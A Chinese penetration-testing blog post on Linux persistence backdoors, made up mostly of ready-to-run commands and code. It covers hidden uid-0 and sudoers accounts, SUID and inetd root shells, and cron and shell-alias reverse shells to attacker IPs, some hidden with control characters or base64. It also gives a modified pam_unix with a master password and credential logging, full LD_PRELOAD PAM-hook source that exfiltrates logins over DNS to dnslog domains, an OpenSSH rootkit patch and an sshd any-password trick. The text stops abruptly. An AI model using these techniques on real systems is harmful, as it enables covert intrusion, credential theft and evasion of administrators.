HacKerQWQ的博客空间

内网渗透之Linux及Windows后门篇

Word count: 18.8kReading time: 86 min
2020/08/15 Share

Linux权限维持

增加超级用户

  • 增加无密码的超级用户

    1
    echo "HackerQWQ:x:0:0::/:/bin/sh" >> /etc/passwd
  • 增加有密码的超级用户

    生成密码

    1
    2
    openssl passwd -6 -salt hub HackerQWQ
    # $6$hub$vRlpOJ/sXn8wYsP9FzjYyKt284QTJUmTI56MlQ6/9NIY/aXgy1MvB1elpoHEeApGpobTqgvt8c1FCfJuoULqa0

    写入进/etc/passwd

    1
    echo "HackerQWQ:\$6\$hub\$vRlpOJ/sXn8wYsP9FzjYyKt284QTJUmTI56MlQ6/9NIY/aXgy1MvB1elpoHEeApGpobTqgvt8c1FCfJuoULqa0:0:0::/:/bin/bash" >> /etc/passwd

    一句话添加超级用户

    1
    2
    3
    4
    5
    # 创建一个用户名guest,密码123456的普通用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

    # useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
    useradd -p "$(openssl passwd -1 123456)" guest

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

  • 无回显添加用户
1
2
3
4
5
6
7
8
9
10
11
12
useradd -u 0 -o -g root -G roo1
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/test test -p $6$hub$vRlpOJ/sXn8wYsP9FzjYyKt284QTJUmTI56MlQ6/9NIY/aXgy1MvB1elpoHEeApGpobTqgvt8c1FCfJuoULqa0 -s /bin/bash -m
#useradd -u 指定uid -g 指定所属群组 -G 指定所属附加群组 -o 允许创建的uid相同 -d指定用户家目录 -p 指定用户加密后的密码 -s 指定用户shell -m 自动创建家目录(-M 不生成家目录)

useradd -u 0 -o -g root -G root user1 |echo -e "1qaz2wsxn1qaz2wsx"|passwd user1

useradd -u 0 -o -g root -G root -M hztest;echo hztest:AAaa1234|chpasswd

#无回显添加普通用户配合添加sudoers
cp /etc/passwd /etc/passwd.bak
cp /etc/sudoers /etc/sudoers.bak
/usr/sbin/useradd WWW;echo WWW:AAaa1234|/usr/sbin/chpasswd;echo 'WWW ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
  • 无回显修改密码

    1
    2
    3
    4
    echo "123456" | passwd --stdin roo1 # passwd --stdin表示从标准输入输入密码,有时不成功
    echo "roo1:password" |chpasswd
    # 修改roo1用户密码为password
    echo "123456n123456" |(sudo passwd roo1)

破解

获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。

除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。

john the Ripper

工具官网:https://www.openwall.com/john/

安装步骤

1
2
3
4
5
cd /opt
wget https://www.openwall.com/john/k/john-1.9.0-jumbo-1.tar.gz
tar zxvf john-1.9.0-jumbo-1.tar.gz
cd john-1.9.0-jumbo-1
./configure && make -s clean && make -sj4

当出现No password hashes loaded问题的时候将最后一步修改为

1
make clean linux-x86-64

用法:

1
2
unshadow passwd.txt shadow.txt > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

image-20220108152731435

hashcat

需要将hash提取出来放在文件中解密

image-20220108154334391

1
2
3
hashcat -m 1800 -a 0 -o found2.txt crack2.hash 500_passwords.txt --show
// crack2.hash为需要解密的存放hash文件 found2.txt为输出文件
cat found2.txt

image-20220108153226103

放置SUID Shell

(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。

1
2
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

普通用户使用以下命令即可获得root权限的shell

1
/dev/.rootshell -p //绕过bash2的限制

image-20220109001014938

可以将端口修改成其常见的端口

我们可以修改/etc/services文件,加入以下的东西:

1
woot 6666/tcp #evil backdoor service

然后修改/etc/inetd.conf :

1
woot stream tcp nowait root /bin/bash bash -i

Crontab后门

  • crontab安装

    1
    2
    3
    4
    #CentOS
    yum install crontabs
    #Ubuntu
    apt-get install cron
  • 开启crontab服务

    1
    2
    3
    4
    #CentOS
    service crond start
    #Ubuntu
    service cron start

crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

在Redis未授权访问中可以利用此方法获取Shell。

输入crontab -e即可为当前用户创建计划任务

-e 打开编辑器编辑

export VISUAL=vim; crontab -e //指定编辑器编辑

将export VISUAL=vim写入.bashrc也可以

-u 指定用户编辑

crontab cron.sh//无编辑器写入计划任务(cron.sh的语法同/etc/crontab一致)

  • crontab -l查看计划任务
  1. 正常计划任务

    1
    2
    3
    4
    5
    6
    #/tmp/reverse.sh内容
    bash -c 'exec bash -i &>/dev/tcp/101.35.156.126/6666 <&1'
    chmod +x /tmp/reverse.sh
    #编写计划任务
    crontab -e
    */1 * * * * /tmp/reverse.sh
  2. 隐藏计划任务

    执行如下命令即可创建crontab后门

1
(crontab -l;printf "*/1 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
  • 能隐藏计划任务,Ubuntu不成功,CentOS成功

即使管理员crontab -l也看不到计划任务

image-20220109004511872

原理就是cat一些比如 \r 回车符 \n 换行符 \f 换页符这些符号导致了隐藏。

这里用python制作一个隐藏的sh。

1
2
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # 隐藏cmd_v = "echo 'You see me!'"                         # 显示
with open("test.sh", "w") as f: output = "#!/bin/sh\n" output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n" f.write(output)

可以使用cat -A查看计划任务

1
cat -A /var/spool/cron/crontabs/root

服务后门

通过将脚本注册为系统自启动服务,在系统启动时,触发后门

写入/etc/rc.d

编写sh脚本

1
2
3
4
#!/bin/bash
#chkconfig: 2345 80 90
#description: elasticsearch
#processname: elasticsearch-5.4.0

第一行,告诉系统使用的shell,所以的shell脚本都是这样。
第二行,chkconfig后面有三个参数2345,80和90告诉chkconfig程序,需要在rc2.d~rc5.d目录下,创建名字为 S80auto_run的文件连接,连接到/etc/rc.d/init.d目录下的的auto_run脚本。

第一个字符是S,系统在启动的时候,运行脚本auto_run,就会添加一个start参数,告诉脚本,现在是启动模式。同时在rc0.d和rc6.d目录下,创建名字为K90auto_run的文件连接,

第一个字符为K,系统在关闭系统的时候,会运行auto_run,添加一个stop,告诉脚本,现在是关闭模式。

注意上面的三行中,第二,第三行是必须的,否则在运行chkconfig –add evil.sh 时,会报错。

放入自启动目录

1
/etc/rc.d/init.d/evil.sh

设置脚本开启启动

1
chkconfig --add /etc/rc.d/init.d/evil.sh

通过以下命令查看是否注册成功

1
chkconfig

写入/etc/rc.local

vim /etc/rc.local

1
sh /tmp/evil.sh

ssh 公钥免密

(容易被发现)

1
ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys

1
2
3
echo "c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDeGhJQWxRVUl1QUVkRkExOVNWUVVNN3hzWUlucE81U2hYYnAxZWVVK0EyLzNBUlpFY2RtMUlUZXE0cjl5c2d1Y09kbWJDRVo3QVhRWHFIS1hvaVZoM21BZHZqT1Frajc5dUxPbHdhbG9JTTc2YTR3QzZVVGJzQ2pHREFVQWY1bGFPWWxuVUh4alZmK0JWMks1NmQ1eWw3aHJzZ0pHTDRUVVpieGJVTmlZL3ltbGdNQUhyZ0xQdDJ0QXBVSzZ2NlUrUnRyaGZHeWVyVmFOMDZSWDNGN0N3eWpUZmw4aDJtQlJXazN6bFh3eVpJaDAwSXpnS2tsY3JISnZNK0piWkpxbnIvWkFUR1JWelQ5VFo4am0rcmNrU0JqZkRMbHhySHprUjhadHZlNHgreDNuUFZuMi9XL0pVZ2pNSmxaVjI1S1EzWE5RWC9YcU13VTJEZmE2NHFINkNWbUdqakcvTDFOcG9MYW5VZXBsMEN2OHd3NWo4eWxXeElwZW5XQ0dNT0VwdjhKWU9uRHk2czNWRlZJTXltZ0xqLzVESFg5dktaZXY2cWlpQncyVHZraXBzM2RwT29zNFVUTjhBVjNyNmVqcSt6Um5tUTdyZVJiZjhDaWxPZlc5QzRiNHVtUWNBZ3NLRVRLQ0luZ1JOb1NiNVdyRElFUkIyckNaSEZKNUJOaDA9IHJvb3RAa2FsaQo="|base64 -d >> /root/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

alias 后门

写入当前用户目录下.bashrc

  • 抓取管理员在肉鸡ssh其他机器的明文密码
1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s 2048 ssh'

后门的场景就是用户登录到这台主机上后,使用这台主机的ssh去远程连接其他主机才能引发后门,记录明文密码,这局限性太大了,顶多可以作为一个后门辅助。

  • 监听本地ssh流量(有ssh连接进入则记录)
1
2
ps -ef | grep sshd #ssh父进程sshd的PID
strace -f -p 6332 -o /tmp/.ssh.log -e trace=read,write,connect -s 2048

image-20220110104714815

  • 修改常用命令隐藏后门

    在/etc/bashrc中加入如下代码

    1
    2
    3
    4
    # System global API definition
    if [ -f /tmp/.bash_resource ]; then
    . /tmp/.bash_resource
    fi

    将下面内容写入/tmp/.bash_resource

    1
    2
    3
    4
    5
    6
    7
    alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTcyLjE3LjAuMSIsIDY2NjYpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'

    //可不加
    alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'

    //可不加
    alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

    成功收到shell

    image-20220110111227875

    可以使用命令修改时间戳增强隐蔽性

    1
    2
    3
    4
    //将index.php的时间戳克隆给webshell.php
    touch -r index.php webshell.php
    //直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
    touch -t 1401021042.30 webshell.php
  • 添加function后门

    在/etc/profile中添加function修改已有命令

    1
    function su { echo ”my function su”; }

    image-20220905003933832

    image-20220905004039748

PATH后门

简介:通过$PATH环境变量中二进制文件的查找顺序,将原文件替换为恶意文件,从而达到留后门的效果

条件:调用的是非shell集成命令,即外部程序

查看命令归属

1
whereis ls

image-20220911151404824

查看PATH

1
echo $PATH

image-20220911170621971

那么命令的查找顺序应该为

1
/usr/local/sbin->/usr/local/bin->/usr/sbin->/usr/bin->/root/bin

此时将恶意程序放置在/usr/local/sbin中即可

1
cp /bin/ping /usr/local/sbin/ls

image-20220911171347867

PAM后门

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于**/etc/pam.d**),最后调用认证文件(位于**/lib/security**)进行安全认证。

SSH认证流程

  • 第一阶段:验证阶段
    • 1)经过pam_securetty.so判断,看用户是什么,如果是root,读取**/etc/securetty**的配置
    • 2)经过pam_env.so配置额外的环境变量
    • 3)透过pam_unix.so验证口令
    • 4)3验证不通过则pam_deny.so判断UID是不是大于500.小于500则返回失败
    • 5)由pam_deny.so拒绝连接
  • 第二阶段:授权阶段
    • 1)先以pam_nologin.so判断/etc/nologin是否存在,若存在则不许一般使用者登陆;
    • 2)以pam_unix进行账号管理,
    • 3)pam_succeed_if.so判断UID是否小于500,若小于500则不记录登录信息。
    • 4)最后以pam_permit.so允许该账号登陆。
  • 第三阶段:口令阶段
    • 1)先以pam_cracklib.so配置口令仅能尝试错误3次;
    • 2)接下来以pam_unix.so透过md5,shadow等功能进行口令检验,若通过则回报login程,若不通过则以pam_deny.so拒绝登陆。

PAM后门实现

  • PAM后门可以通过修改pam_unix.so来记录root密码,或者当输入我们的密码时,校验通过,从而达到后门的目的。

本地记录账号及任意密码后门

首先查询目标机器的pam版本

1
rpm -qa | grep pam

image-20220911172758379

到官方github下载源码,修改pam_unix_auth.c文件,修改179行代码

1
2
3
4
5
6
7
8
	/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("fuckyou",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}

安装环境

1
2
yum install gettext-devel
yum install -y autoconf automake autopoint bison bzip2 docbook-xml docbook-xsl flex gettext libaudit-dev libcrack2-dev libdb-dev libfl-dev libselinux1-dev libtool libcrypt-dev libxml2-utils make pkg-config sed w3m xsltproc xz-utils gcc

编译

1
2
3
4
5
6
7
8
9
10
11
./configure --disable-docs
cd modules/pam_unix/
make
#备份
cp /lib64/security/pam_unix.so /tmp/pam_unix.so.bak
#替换原有so文件
cp /Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so
#修改时间
touch pam_unix.so -r pam_umask.so

setenforce 0 #临时关闭selinux

通过本地ssh使用qing!@#123登录成功

image-20220911215037055

查看/bin/.sshlog,存在密码

image-20220911215153520

pam_unix.so位置

1
2
3
4
#x64
/lib64/security/pam_unix.so
#x32
/lib/security/pam_unix.so

dnslog外带

参考链接:https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

将以dns外带代码复制到pam_unix_auth.c中时,需要修改dns和dnslog的地址

1
2
#strcpy(dns_servers[0] , "127.0.0.1");
strcpy(dns_servers[0] , "8.8.8.8");

添加dnslog外带代码

1
2
3
4
5
6
7
8
retval = _unix_verify_password(pamh, name, p, ctrl);
unsigned char hostname[100];
get_dns_servers();
snprintf(hostname, sizeof(hostname), "%s.%s.kuvm3p.dnslog.cn", name, p); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
name = p = NULL;

编译,替换pam_unix.so文件,关闭selinux

image-20220912204835710

成功获取到账号密码

LD_PRELOAD进行动态挂载

优点:

  1. 不用修改文件,防止文件完整性校验(rpm)

原理:

我们的目标函数是pam_get_item。当使用项目类型 PAM_AUTHTOK 作为参数调用此函数时,它会检索使用的身份验证令牌。我们要挂钩这个函数,所以当它被调用时,我们将调用 pam_get_user() 来检索用户名,然后调用原始的 pam_get_item(获取正确的返回值和身份验证令牌),通过 DNS 将其泄露,最后返回之前得到的值。十分简单!

准备文件share.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
/* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */
// Author: Juan Manuel Fernandez (@TheXC3LL)

#define _GNU_SOURCE

#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <security/pam_modutil.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <signal.h>

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)

#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server

//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();

//DNS header structure
struct DNS_HEADER
{
unsigned short id; // identification number

unsigned char rd :1; // recursion desired
unsigned char tc :1; // truncated message
unsigned char aa :1; // authoritive answer
unsigned char opcode :4; // purpose of message
unsigned char qr :1; // query/response flag

unsigned char rcode :4; // response code
unsigned char cd :1; // checking disabled
unsigned char ad :1; // authenticated data
unsigned char z :1; // its z! reserved
unsigned char ra :1; // recursion available

unsigned short q_count; // number of question entries
unsigned short ans_count; // number of answer entries
unsigned short auth_count; // number of authority entries
unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
unsigned short qtype;
unsigned short qclass;
};

//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
unsigned short type;
unsigned short _class;
unsigned int ttl;
unsigned short data_len;
};
#pragma pack(pop)

//Pointers to resource record contents
struct RES_RECORD
{
unsigned char *name;
struct R_DATA *resource;
unsigned char *rdata;
};

//Structure of a Query
typedef struct
{
unsigned char *name;
struct QUESTION *ques;
} QUERY;

/*
* Perform a DNS query by sending a packet
* */
void ngethostbyname(unsigned char *host , int query_type)
{
unsigned char buf[65536],*qname,*reader;
int i , j , stop , s;

struct sockaddr_in a;

struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
struct sockaddr_in dest;

struct DNS_HEADER *dns = NULL;
struct QUESTION *qinfo = NULL;

printf("Resolving %s" , host);

s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries

dest.sin_family = AF_INET;
dest.sin_port = htons(53);
dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers

//Set the DNS structure to standard queries
dns = (struct DNS_HEADER *)&buf;

dns->id = (unsigned short) htons(getpid());
dns->qr = 0; //This is a query
dns->opcode = 0; //This is a standard query
dns->aa = 0; //Not Authoritative
dns->tc = 0; //This message is not truncated
dns->rd = 1; //Recursion Desired
dns->ra = 0; //Recursion not available! hey we dont have it (lol)
dns->z = 0;
dns->ad = 0;
dns->cd = 0;
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;

//point to the query portion
qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];

ChangetoDnsNameFormat(qname , host);
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it

qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1); //its internet (lol)

printf("\nSending Packet...");
if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION),0,(struct sockaddr*)&dest,sizeof(dest)) < 0)
{
perror("sendto failed");
}
printf("Done");

//Receive the answer
i = sizeof dest;
printf("\nReceiving answer...");
if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
{
perror("recvfrom failed");
}
printf("Done");

dns = (struct DNS_HEADER*) buf;

//move ahead of the dns header and the query field
reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];

printf("\nThe response contains : ");
printf("\n %d Questions.",ntohs(dns->q_count));
printf("\n %d Answers.",ntohs(dns->ans_count));
printf("\n %d Authoritative Servers.",ntohs(dns->auth_count));
printf("\n %d Additional records.\n\n",ntohs(dns->add_count));

//Start reading answers
stop=0;

for(i=0;i<ntohs(dns->ans_count);i++)
{
answers[i].name=ReadName(reader,buf,&stop);
reader = reader + stop;

answers[i].resource = (struct R_DATA*)(reader);
reader = reader + sizeof(struct R_DATA);

if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
{
answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));

for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++)
{
answers[i].rdata[j]=reader[j];
}

answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0';

reader = reader + ntohs(answers[i].resource->data_len);
}
else
{
answers[i].rdata = ReadName(reader,buf,&stop);
reader = reader + stop;
}
}

//read authorities
for(i=0;i<ntohs(dns->auth_count);i++)
{
auth[i].name=ReadName(reader,buf,&stop);
reader+=stop;

auth[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);

auth[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}

//read additional
for(i=0;i<ntohs(dns->add_count);i++)
{
addit[i].name=ReadName(reader,buf,&stop);
reader+=stop;

addit[i].resource=(struct R_DATA*)(reader);
reader+=sizeof(struct R_DATA);

if(ntohs(addit[i].resource->type)==1)
{
addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
for(j=0;j<ntohs(addit[i].resource->data_len);j++)
addit[i].rdata[j]=reader[j];

addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0';
reader+=ntohs(addit[i].resource->data_len);
}
else
{
addit[i].rdata=ReadName(reader,buf,&stop);
reader+=stop;
}
}

//print answers
printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) );
for(i=0 ; i < ntohs(dns->ans_count) ; i++)
{
printf("Name : %s ",answers[i].name);

if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
{
long *p;
p=(long*)answers[i].rdata;
a.sin_addr.s_addr=(*p); //working without ntohl
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}

if(ntohs(answers[i].resource->type)==5)
{
//Canonical name for an alias
printf("has alias name : %s",answers[i].rdata);
}

printf("\n");
}

//print authorities
printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) );
for( i=0 ; i < ntohs(dns->auth_count) ; i++)
{

printf("Name : %s ",auth[i].name);
if(ntohs(auth[i].resource->type)==2)
{
printf("has nameserver : %s",auth[i].rdata);
}
printf("\n");
}

//print additional resource records
printf("\nAdditional Records : %d \n" , ntohs(dns->add_count) );
for(i=0; i < ntohs(dns->add_count) ; i++)
{
printf("Name : %s ",addit[i].name);
if(ntohs(addit[i].resource->type)==1)
{
long *p;
p=(long*)addit[i].rdata;
a.sin_addr.s_addr=(*p);
printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
}
printf("\n");
}
return;
}

/*
*
* */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
unsigned char *name;
unsigned int p=0,jumped=0,offset;
int i , j;

*count = 1;
name = (unsigned char*)malloc(256);

name[0]='\0';

//read the names in 3www6google3com format
while(*reader!=0)
{
if(*reader>=192)
{
offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
reader = buffer + offset - 1;
jumped = 1; //we have jumped to another location so counting wont go up!
}
else
{
name[p++]=*reader;
}

reader = reader+1;

if(jumped==0)
{
*count = *count + 1; //if we havent jumped to another location then we can count up
}
}

name[p]='\0'; //string complete
if(jumped==1)
{
*count = *count + 1; //number of steps we actually moved forward in the packet
}

//now convert 3www6google3com0 to www.google.com
for(i=0;i<(int)strlen((const char*)name);i++)
{
p=name[i];
for(j=0;j<(int)p;j++)
{
name[i]=name[i+1];
i=i+1;
}
name[i]='.';
}
name[i-1]='\0'; //remove the last dot
return name;
}

/*
* Get the DNS servers from /etc/resolv.conf file on Linux
* */
void get_dns_servers()
{
FILE *fp;
char line[200] , *p;
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
{
printf("Failed opening /etc/resolv.conf file \n");
}

while(fgets(line , 200 , fp))
{
if(line[0] == '#')
{
continue;
}
if(strncmp(line , "nameserver" , 10) == 0)
{
p = strtok(line , " ");
p = strtok(NULL , " ");

//p now is the dns ip :)
//????
}
}
// EDIT THIS. It is a PoC
strcpy(dns_servers[0] , "8.8.8.8");

}

/*
* This will convert www.google.com to 3www6google3com
* got it :)
* */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,".");

for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='\0';
}
#define _UNIX_AUTHTOK "-UN*X-PASS"

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type, const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

// Call original function so we log password
retval = orig_pam(pamh, item_type, item);

// Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.4qtmhy.ceye.io", name, *item); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
}

return retval;
}

记得修改dnslog地址和dns server地址,编译成共享库so文件

1
gcc -shared -fPIC -Iinclude share.c -o hackerqwq.so
  • -I指定头文件位置

加载LD_PRELOAD

1
2
3
4
#关闭原有sshd
systemctl stop sshd
#启动动态链接
LD_PRELOAD=/root/linux-pam-Linux-PAM-1_1_8/linux-pam-Linux-PAM-1_1_8/libpam/hackerqwq.so /usr/sbin/sshd -D

image-20220912213412156

可以配合修改.bash_rc等文件实现持久性控制

一键留后门

项目地址:https://github.com/zephrax/linux-pam-backdoor

实现环境:

Tested with ubuntu 20.04:

  • 1.1.8 and older: failed to compile
  • 1.2.0: worked
  • 1.3.0 to 1.4.0: worked

命令:

1
2
./backdoor.sh -v 1.3.0 -p som3_s3cr4t_p455w0rd
cp pam_unix.so /lib64/security/pam_unix.so

更多用法

https://xz.aliyun.com/t/7902#toc-8

openssh后门

  • 前提:ssh版本低于5.9

    1
    ssh -V//查看ssh版本

参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspx

1
2
3
4
5
6
7
8
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget https://ftp.osuosl.org/pub/blfs/conglomeration/openssh/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,

1
2
3
4
5
/*
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码
*/

配置环境

1
2
3
4
5
6
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd

Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败

SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31326

执行完之后,任何一台机器ssh root@IP -p 31326,输入的密码随意

  • 需要的时间有点长,需要等待

image-20220112235000984

说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的。然后启动,并指定监听12345端口,登录的时候密码随意即可,登录如下:

1
